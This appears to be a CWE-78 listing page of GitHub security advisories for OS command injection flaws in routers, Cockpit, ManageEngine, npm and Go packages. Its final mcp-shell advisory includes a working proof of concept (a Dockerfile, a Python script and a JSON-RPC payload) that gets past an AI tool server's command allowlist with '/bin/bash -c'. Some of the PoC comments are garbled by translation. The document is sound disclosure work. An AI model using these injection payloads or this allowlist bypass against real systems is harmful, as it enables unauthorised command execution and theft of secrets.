CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
9644 vulnerabilities reference this CWE, most recent first.
GHSA-3WH2-2F78-VX7J
Vulnerability from github – Published: 2026-07-23 18:31 – Updated: 2026-07-23 18:31Zohocorp ManageEngine ADAudit Plus versions before 8606 are affected by Unauthenticated Remote code execution due to the vulnerable agent API.
{
"affected": [],
"aliases": [
"CVE-2026-6516"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-23T18:17:02Z",
"severity": "CRITICAL"
},
"details": "Zohocorp ManageEngine ADAudit Plus versions\u00a0before 8606 are affected by Unauthenticated Remote code execution due to the vulnerable agent API.",
"id": "GHSA-3wh2-2f78-vx7j",
"modified": "2026-07-23T18:31:46Z",
"published": "2026-07-23T18:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6516"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/products/active-directory-audit/cve-2026-6516.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3WJM-5G86-C6P3
Vulnerability from github – Published: 2026-05-11 15:32 – Updated: 2026-06-30 03:36A flaw was found in Cockpit. This vulnerability allows a remote attacker to achieve arbitrary command execution on the host by exploiting unsanitized user-controlled parameters within crafted links in the system logs user interface (UI). An attacker can inject shell metacharacters and command substitutions into these parameters, leading to the execution of arbitrary shell commands on the affected system. This could result in a complete system compromise.
{
"affected": [],
"aliases": [
"CVE-2026-4802"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-11T14:16:31Z",
"severity": "HIGH"
},
"details": "A flaw was found in Cockpit. This vulnerability allows a remote attacker to achieve arbitrary command execution on the host by exploiting unsanitized user-controlled parameters within crafted links in the system logs user interface (UI). An attacker can inject shell metacharacters and command substitutions into these parameters, leading to the execution of arbitrary shell commands on the affected system. This could result in a complete system compromise.",
"id": "GHSA-3wjm-5g86-c6p3",
"modified": "2026-06-30T03:36:37Z",
"published": "2026-05-11T15:32:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4802"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21390"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21392"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21394"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21395"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21468"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21515"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21516"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21647"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21676"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21700"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-4802"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2451155"
},
{
"type": "WEB",
"url": "https://github.com/cockpit-project/cockpit/blob/e204cd130/pkg/systemd/logsJournal.jsx#L206-L210"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-4802.json"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/20/19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3WP8-8GM9-X4MG
Vulnerability from github – Published: 2024-09-26 21:31 – Updated: 2024-09-27 00:31Tenda G3 Router firmware v15.03.05.05 was discovered to contain a remote code execution (RCE) vulnerability via the usbPartitionName parameter in the formSetUSBPartitionUmount function.
{
"affected": [],
"aliases": [
"CVE-2024-46628"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-26T20:15:06Z",
"severity": "HIGH"
},
"details": "Tenda G3 Router firmware v15.03.05.05 was discovered to contain a remote code execution (RCE) vulnerability via the usbPartitionName parameter in the formSetUSBPartitionUmount function.",
"id": "GHSA-3wp8-8gm9-x4mg",
"modified": "2024-09-27T00:31:04Z",
"published": "2024-09-26T21:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46628"
},
{
"type": "WEB",
"url": "https://github.com/Question-h/vuln/blob/master/Remote%20Code%20Execution%20Vulnerability%20in%20Tenda%20G3%20Router.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3WPH-R629-C94G
Vulnerability from github – Published: 2025-01-09 09:31 – Updated: 2025-01-09 15:31Authenticated command injection in the filename of a .exe request leads to remote code execution as the root user.
This issue affects Iocharger firmware for AC models before version 24120701.
Likelihood: Moderate – This action is not a common place for command injection vulnerabilities to occur. Thus, an attacker will likely only be able to find this vulnerability by reverse-engineering the firmware or trying it on all fields. The attacker will also need a (low privilege) account to gain access to the binary, or convince a user with such access to execute a payload.
Impact: Critical – The attacker has full control over the charging station as the root user, and can arbitrarily add, modify and delete files and services.
CVSS clarification: This attack can be performed over any network conenction serving the web interfacr (AV:N), and there are not additional mitigating measures that need to be circumvented (AC:L) or other prerequisites (AT:N). The attack does require privileges, but the level does not matter (PR:L), there is no user interaction required (UI:N). The attack leeds to a full compromised of the charger (VC:H/VI:H/VA:H) and a compromised charger can be used to "pivot" to networks that should normally not be reachable (SC:L/SI:L/SA:H). Because this is an EV chargers with significant pwoer, there is a potential safety imp0act (S:P). THis attack can be automated (AU:Y).
{
"affected": [],
"aliases": [
"CVE-2024-43649"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-09T08:15:27Z",
"severity": "CRITICAL"
},
"details": "Authenticated command injection in the filename of a \u003credacted\u003e.exe request leads to remote code execution as the root user.\n\nThis issue affects Iocharger firmware for AC models before version 24120701.\n\nLikelihood: Moderate \u2013 This action is not a common place for command injection vulnerabilities to occur. Thus, an attacker will likely only be able to find this vulnerability by reverse-engineering the firmware or trying it on all \u003credacted\u003e fields. The attacker will also need a (low privilege) account to gain access to the \u003credacted\u003e binary, or convince a user with such access to execute a payload.\n\nImpact: Critical \u2013 The attacker has full control over the charging station as the root user, and can arbitrarily add, modify and delete files and services.\n\nCVSS clarification:\u00a0This attack can be performed over any network conenction serving the web interfacr (AV:N), and there are not additional mitigating measures that need to be circumvented (AC:L) or other prerequisites (AT:N). The attack does require privileges, but the level does not matter (PR:L), there is no user interaction required (UI:N). The attack leeds to a full compromised of the charger (VC:H/VI:H/VA:H) and a compromised charger can be used to \"pivot\" to networks that should normally not be reachable (SC:L/SI:L/SA:H). Because this is an EV chargers with significant pwoer, there is a potential safety imp0act (S:P). THis attack can be automated (AU:Y).",
"id": "GHSA-3wph-r629-c94g",
"modified": "2025-01-09T15:31:51Z",
"published": "2025-01-09T09:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43649"
},
{
"type": "WEB",
"url": "https://csirt.divd.nl/CVE-2024-43649"
},
{
"type": "WEB",
"url": "https://csirt.divd.nl/DIVD-2024-00035"
},
{
"type": "WEB",
"url": "https://iocharger.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3WV6-PJQX-6927
Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2024-04-04 00:54The Belkin Wemo Enabled Crock-Pot allows command injection in the Wemo UPnP API via the SmartDevURL argument to the SetSmartDevInfo action. A simple POST request to /upnp/control/basicevent1 can allow an attacker to execute commands without authentication.
{
"affected": [],
"aliases": [
"CVE-2019-12780"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-10T16:29:00Z",
"severity": "CRITICAL"
},
"details": "The Belkin Wemo Enabled Crock-Pot allows command injection in the Wemo UPnP API via the SmartDevURL argument to the SetSmartDevInfo action. A simple POST request to /upnp/control/basicevent1 can allow an attacker to execute commands without authentication.",
"id": "GHSA-3wv6-pjqx-6927",
"modified": "2024-04-04T00:54:53Z",
"published": "2022-05-24T16:47:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12780"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46436"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3WVF-5QF9-45FJ
Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2025-04-20 03:39IPFire 2.19 has a Remote Command Injection vulnerability in ids.cgi via the OINKCODE parameter, which is mishandled by a shell. This can be exploited directly by authenticated users, or through CSRF.
{
"affected": [],
"aliases": [
"CVE-2017-9757"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-19T13:29:00Z",
"severity": "HIGH"
},
"details": "IPFire 2.19 has a Remote Command Injection vulnerability in ids.cgi via the OINKCODE parameter, which is mishandled by a shell. This can be exploited directly by authenticated users, or through CSRF.",
"id": "GHSA-3wvf-5qf9-45fj",
"modified": "2025-04-20T03:39:19Z",
"published": "2022-05-13T01:48:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9757"
},
{
"type": "WEB",
"url": "https://twitter.com/0x09AL/status/873860385652256768"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/42149"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/99173"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3WVW-X258-GJ48
Vulnerability from github – Published: 2024-12-23 03:30 – Updated: 2024-12-23 03:30home 5G HR02 and Wi-Fi STATION SH-54C contain an OS command injection vulnerability in the configuration restore function. An arbitrary OS command may be executed with the root privilege by an administrative user.
{
"affected": [],
"aliases": [
"CVE-2024-54082"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-23T01:15:07Z",
"severity": "HIGH"
},
"details": "home 5G HR02 and Wi-Fi STATION SH-54C contain an OS command injection vulnerability in the configuration restore function. An arbitrary OS command may be executed with the root privilege by an administrative user.",
"id": "GHSA-3wvw-x258-gj48",
"modified": "2024-12-23T03:30:47Z",
"published": "2024-12-23T03:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54082"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN61635834"
},
{
"type": "WEB",
"url": "https://k-tai.sharp.co.jp/support/info/info083.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3X2Q-7FCG-XMG5
Vulnerability from github – Published: 2025-08-12 21:31 – Updated: 2025-08-12 21:31An improper neutralization of special elements used in an OS Command ("OS Command Injection") vulnerability [CWE-78] in Fortinet FortiADC version 7.2.0 and before 7.1.1 allows a remote and authenticated attacker with low privilege to execute unauthorized code via specifically crafted HTTP parameters.
{
"affected": [],
"aliases": [
"CVE-2025-49813"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T19:15:30Z",
"severity": "HIGH"
},
"details": "An improper neutralization of special elements used in an OS Command (\"OS Command Injection\") vulnerability [CWE-78] in Fortinet FortiADC version 7.2.0 and before 7.1.1 allows a remote and authenticated attacker with low privilege to execute unauthorized code via specifically crafted HTTP parameters.",
"id": "GHSA-3x2q-7fcg-xmg5",
"modified": "2025-08-12T21:31:21Z",
"published": "2025-08-12T21:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49813"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-501"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3X62-X456-Q2VM
Vulnerability from github – Published: 2022-05-03 00:00 – Updated: 2022-08-22 20:42The package git-pull-or-clone before 2.0.2 is vulnerable to Command Injection due to the use of the --upload-pack feature of git which is also supported for git clone. The source includes the use of the secure child process API spawn(). However, the outpath parameter passed to it may be a command-line argument to the git clone command and result in arbitrary command injection.
Credits
Credit @lirantal for discovering this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "git-pull-or-clone"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-24437"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-23T19:56:13Z",
"nvd_published_at": "2022-05-01T16:15:00Z",
"severity": "CRITICAL"
},
"details": "The package git-pull-or-clone before 2.0.2 is vulnerable to Command Injection due to the use of the --upload-pack feature of git which is also supported for git clone. The source includes the use of the secure child process API spawn(). However, the outpath parameter passed to it may be a command-line argument to the git clone command and result in arbitrary command injection.\n## Credits\n\nCredit @lirantal for discovering this vulnerability.",
"id": "GHSA-3x62-x456-q2vm",
"modified": "2022-08-22T20:42:31Z",
"published": "2022-05-03T00:00:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24437"
},
{
"type": "WEB",
"url": "https://github.com/feross/git-pull-or-clone/commit/f9ce092be13cc32e685dfa26e7705e9c6e3108a3"
},
{
"type": "WEB",
"url": "https://gist.github.com/lirantal/327e9dd32686991b5a1fa6341aac2e7b"
},
{
"type": "PACKAGE",
"url": "https://github.com/feross/git-pull-or-clone"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-GITPULLORCLONE-2434307"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OS Command Injection in git-pull-or-clone"
}
GHSA-3X77-WG38-92R3
Vulnerability from github – Published: 2026-08-25 15:41 – Updated: 2026-08-25 15:41Summary
mcp-shell ships a default Docker configuration (security.yaml) that includes /bin/bash in the allowed_executables allowlist. The command validator (security.go) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as -c. As a result, any MCP tool caller can send command=/bin/bash -c <arbitrary-command> to the shell_exec tool and execute commands that are not in the allowlist — including id, env, curl, wget, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as mcpuser.
Details
mcp-shell implements a secure mode in which command execution is restricted to an explicit allowlist of executables defined in security.yaml. The Docker image ships this file with the following entry:
# security.yaml (line 29)
allowed_executables:
- "ls"
- ...
- "/bin/bash" # Only allow if you trust the arguments
The comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in security.go is responsible for enforcing secure mode:
// security.go:84-96
for _, allowed := range v.config.AllowedExecutables {
if v.matchesExecutable(executable, allowed) {
if err := v.checkBlockedPatternsAndCommands(command); err != nil {
return err
}
return nil
}
}
executable is derived solely from parts[0] after splitting the input on whitespace (security.go:67). When the command is /bin/bash -c id, executable evaluates to /bin/bash, which matches the allowlist entry. The -c flag and subsequent arguments are passed to checkBlockedPatternsAndCommands, which only checks for shell metacharacters (|, &, ;, <, >, (, ), {, }, [, ], `, $, \, ", ') and a configurable list of blocked_commands/blocked_patterns — both of which default to empty arrays in the shipped configuration. The flag -c does not match any blocked metacharacter, so the check passes.
The validated command then reaches the executor:
// executor.go:149-163
executable, args, err := e.parseCommand(command)
// ...
cmd = exec.CommandContext(ctx, executable, args...)
parseCommand splits the command string, yielding executable="/bin/bash" and args=["-c", "id"]. exec.CommandContext is invoked directly — no shell is spawned by the executor itself — but /bin/bash -c id is equivalent to a shell invocation, executing id outside the allowlist.
Data flow (source → sink):
| Step | Location | Description |
|---|---|---|
| 1 | Dockerfile:55 |
COPY security.yaml /etc/mcp-shell/security.yaml — bundles vulnerable config into image |
| 2 | Dockerfile:57 |
ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml — activates config by default |
| 3 | security.yaml:29 |
/bin/bash registered in allowed_executables |
| 4 | main.go:84-102 |
MCP tool shell_exec registered with required command parameter |
| 5 | handler.go:34 |
command := request.RequireString("command") — attacker-controlled input received |
| 6 | handler.go:49 |
h.validator.validateCommand(command) — validation called |
| 7 | security.go:67-96 |
executable = parts[0] matches /bin/bash; -c not blocked; returns nil |
| 8 | handler.go:59 |
Validated command forwarded to executor |
| 9 | executor.go:163 |
exec.CommandContext(ctx, "/bin/bash", "-c", "id") — sink: arbitrary execution |
PoC
Prerequisites:
- Docker installed and accessible.
- Repository source code checked out (build context is the repository root).
python3available (for the automated PoC script).
Step 1 — Build the Docker image
docker build \
-f vuln-001/Dockerfile \
/path/to/mcp-shell-repo \
-t mcp-shell-vuln-001:latest
Step 2 — Run the PoC script
python3 vuln-001/poc.py mcp-shell-vuln-001:latest
The script sends three MCP JSON-RPC requests over stdio:
initializehandshaketools/call shell_execwithcommand="/bin/bash -c id"— exploit payloadtools/call shell_execwithcommand="id"— control: direct invocation must be blocked
Expected output (exploit success):
[id=2] /bin/bash -c id response:
→ status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'
[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution successful!
[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)
→ allowlist bypass /bin/bash -c only through the path occurs proven
Alternatively, using raw printf (no Python required):
printf '%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \
'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \
| docker run --rm -i mcp-shell-vuln-001:latest
Observed MCP response:
{
"command": "/bin/bash -c id",
"execution_time": "3.854555ms",
"exit_code": 0,
"security_info": {"security_enabled": true, "working_dir": "/tmp", "timeout_applied": true},
"status": "success",
"stderr": "",
"stdout": "uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)"
}
Remediation (patch guidance):
- Remove shell interpreters from the default
security.yamlallowlist:
--- a/security.yaml
+++ b/security.yaml
- - "/bin/bash" # Only allow if you trust the arguments
- Add argument-level validation in
security.goto block shell command-mode flags even when a shell interpreter is allowlisted:
--- a/security.go
+++ b/security.go
executable := parts[0]
+ args := parts[1:]
+
+ if isShellCommandMode(executable, args) {
+ return fmt.Errorf("shell command mode is not allowed in secure mode: %s", executable)
+ }
// Check if the executable is in the allowlist
for _, allowed := range v.config.AllowedExecutables {
...
}
+
+ func isShellCommandMode(executable string, args []string) bool {
+ base := filepath.Base(executable)
+ switch base {
+ case "sh", "bash", "dash", "ash", "zsh", "ksh":
+ for _, arg := range args {
+ if arg == "-c" || (strings.HasPrefix(arg, "-") && strings.Contains(arg, "c")) {
+ return true
+ }
+ }
+ }
+ return false
+ }
Impact
This is an OS Command Injection vulnerability (CWE-78). The shell_exec MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (curl, wget, env, sed, grep, tar, etc. — all installed by the Dockerfile) under the identity of mcpuser (UID 1000).
Who is impacted:
- Any operator deploying the official Docker image without modifying the default
security.yamlis vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required. - MCP clients that interact with a vulnerable
mcp-shellinstance — including automated AI agents, LLM orchestration platforms, and CI/CD pipelines — may be leveraged to exfiltrate secrets, tamper with files accessible tomcpuser, or pivot further within the container's network. - The
--network=noneflag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.
Concrete consequences of exploitation:
- Confidentiality: Dump environment variables (
/bin/bash -c env), read files, or exfiltrate credentials visible tomcpuser. - Integrity: Write or modify files within the container's writable filesystem.
- Availability: Consume container resources or terminate processes.
Reproduction artifacts
Dockerfile
# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c
# build context: ../repo directory
# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest
# Build stage
FROM golang:1.25-alpine AS builder
RUN apk add --no-cache git
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY *.go ./
ARG VERSION=vuln-001-poc
RUN CGO_ENABLED=0 GOOS=linux go build \
-ldflags "-X main.version=${VERSION} -s -w" \
-a -installsuffix cgo \
-o mcp-shell .
# Runtime stage
FROM alpine:3.22
RUN apk add --no-cache \
bash \
curl \
wget \
git \
make \
findutils \
grep \
sed \
gawk \
tar \
gzip \
unzip \
ca-certificates \
&& rm -rf /var/cache/apk/*
RUN addgroup -g 1000 mcpuser && \
adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser
RUN mkdir -p /tmp/mcp-workspace && \
chown mcpuser:mcpuser /tmp/mcp-workspace
RUN mkdir -p /etc/mcp-shell && \
chown mcpuser:mcpuser /etc/mcp-shell
COPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell
RUN chmod +x /usr/local/bin/mcp-shell
# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone
COPY security.yaml /etc/mcp-shell/security.yaml
ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml
ENV PATH="/usr/local/bin:${PATH}"
USER mcpuser
WORKDIR /tmp/mcp-workspace
ENTRYPOINT ["mcp-shell"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c
Vulnerability summary:
security.yamltext allowed_executablestext /bin/bash text registerbecomes text,
validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand
-c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext
executor.go:163 from exec.CommandContext(ctx, "/bin/bash", "-c", "id") text executebecomes
allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.
usage:
python3 poc.py [IMAGE_NAME]
default text: mcp-shell-vuln-001:latest
"""
import subprocess
import json
import sys
IMAGE = sys.argv[1] if len(sys.argv) > 1 else "mcp-shell-vuln-001:latest"
def make_msg(obj):
return json.dumps(obj, separators=(',', ':'))
# MCP JSON-RPC message whentext
MESSAGES = [
# 1. initialize handshake
make_msg({
"jsonrpc": "2.0", "id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "vuln-001-poc", "version": "0.0.1"}
}
}),
# 2. initialized text (response none)
make_msg({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}),
# 3. vulnerability text: /bin/bash -c id
# id text allowlisttext textonly /bin/bash text because it exists verification passed → id execute
make_msg({
"jsonrpc": "2.0", "id": 2,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {"command": "/bin/bash -c id", "base64": False}
}
}),
# 4. comparison: id directly execute → allowlisttext because it is missing blockbecomestext done
make_msg({
"jsonrpc": "2.0", "id": 3,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {"command": "id", "base64": False}
}
}),
# 5. add evidence: env environment variable text (envtext allowlisttext none)
make_msg({
"jsonrpc": "2.0", "id": 4,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {"command": "/bin/bash -c env", "base64": False}
}
}),
]
def extract_text(resp):
"""MCP tools/call responsefrom text contents extract"""
try:
content = resp.get("result", {}).get("content", [])
for item in content:
if item.get("type") == "text":
return item["text"]
except Exception:
pass
return None
def run_poc():
stdin_data = "\n".join(MESSAGES) + "\n"
print(f"[*] text: {IMAGE}")
print("[*] text: /bin/bash -c id")
print("[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock")
print()
try:
proc = subprocess.run(
["docker", "run", "--rm", "-i", "--network=none", IMAGE],
input=stdin_data.encode(),
capture_output=True,
timeout=30,
)
except subprocess.TimeoutExpired:
print("[-] error: container response timeout (30seconds)")
return False, "timeout"
except FileNotFoundError:
print("[-] error: docker commandtext text can none")
return False, "docker not found"
except Exception as e:
print(f"[-] error: {e}")
return False, str(e)
stdout = proc.stdout.decode(errors="replace")
stderr = proc.stderr.decode(errors="replace")
print("=== STDOUT (JSON-RPC response) ===")
print(stdout)
if stderr:
print("=== STDERR (server log, partial) ===")
print(stderr[:1500])
print()
# response parse
responses = {}
for line in stdout.splitlines():
line = line.strip()
if not line:
continue
try:
resp = json.loads(line)
msg_id = resp.get("id")
if msg_id is not None:
responses[msg_id] = resp
except json.JSONDecodeError:
pass
exploit_passed = False
exploit_evidence = ""
# [id=2] /bin/bash -c id result check (key point evidence)
if 2 in responses:
text = extract_text(responses[2])
if text:
print(f"[id=2] /bin/bash -c id response text: {text[:400]}")
try:
result = json.loads(text)
stdout_val = result.get("stdout", "")
status = result.get("status", "")
exit_code = result.get("exit_code", -1)
print(f" → status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}")
if "uid=" in stdout_val and status == "success":
exploit_passed = True
exploit_evidence = (
f"command=/bin/bash -c id | status={status} | "
f"exit_code={exit_code} | stdout={stdout_val}"
)
print(f"\n[+] PASS: uid= check → /bin/bash -c text arbitrary command execute success!")
print(f"[+] Deterministic evidence: {exploit_evidence}")
except json.JSONDecodeError:
if "uid=" in text:
exploit_passed = True
exploit_evidence = text
print(f"[+] PASS: uid= confirmed (raw): {text[:200]}")
else:
print("[-] id=2 response none (secondstext failure or server error)")
# [id=3] id directly execute → block check (text)
if 3 in responses:
text = extract_text(responses[3]) or ""
resp_str = str(responses[3])
blocked = (
"not in allowed list" in text
or "not in allowed list" in resp_str
or "Security violation" in text
or "isError" in resp_str and "true" in resp_str.lower()
)
if blocked:
print(f"\n[+] text check: 'id' directly executetext blocked (allowlist behavior normal)")
print(f" → allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone")
else:
print(f"[*] 'id' directly result: {text[:200]}")
# [id=4] /bin/bash -c env add evidence
if 4 in responses:
text = extract_text(responses[4]) or ""
try:
result = json.loads(text)
stdout_val = result.get("stdout", "")
if "PATH=" in stdout_val or "HOME=" in stdout_val:
env_lines = stdout_val.splitlines()[:5]
print(f"\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)")
print(f" first 5lines: {chr(10).join(' ' + l for l in env_lines)}")
except Exception:
pass
return exploit_passed, exploit_evidence
if __name__ == "__main__":
passed, evidence = run_poc()
print()
if passed:
print("[+] vulnerability reproduction result: PASS")
sys.exit(0)
else:
print("[-] vulnerability reproduction result: FAIL")
sys.exit(1)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/sonirico/mcp-shell"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55581"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-183",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T15:41:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
